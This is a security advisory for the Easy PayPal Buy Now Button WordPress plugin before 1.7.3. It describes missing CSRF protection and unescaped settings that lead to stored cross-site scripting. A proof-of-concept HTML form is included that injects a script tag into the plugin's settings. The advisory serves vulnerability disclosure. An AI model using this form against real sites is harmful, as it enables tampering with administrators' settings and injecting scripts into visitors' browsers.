Easy PayPal Buy Now Button < 1.7.3 – CSRF to Stored Cross-Site Scripting

Description

The plugin does not have CSRF check in place when saving its settings, and does not sanitise as well as escape them when output in the page. As a result, an attacker could make a logged in admin change them via. CSRF attack and perform Cross-Site Scripting attacks.

The plugin also fixed a Reflected XSS in web browsers which do not encode URL characters

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-ecommerce-settings" method="POST">
      <input type="hidden" name="language" value="3" />
      <input type="hidden" name="currency" value="25" />
      <input type="hidden" name="liveaccount" value="'><script>alert(/XSS/)</script>" />
      <input type="hidden" name="sandboxaccount" value="">" />
      <input type="hidden" name="mode" value="2" />
      <input type="hidden" name="paymentaction" value="1" />
      <input type="hidden" name="size" value="2" />
      <input type="hidden" name="opens" value="2" />
      <input type="hidden" name="cancel" value="">" />
      <input type="hidden" name="return" value="">" />
      <input type="hidden" name="update" value="" />
      <input type="hidden" name="btn2" value="Save Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

All parameters are affected, such as sandboxaccount etc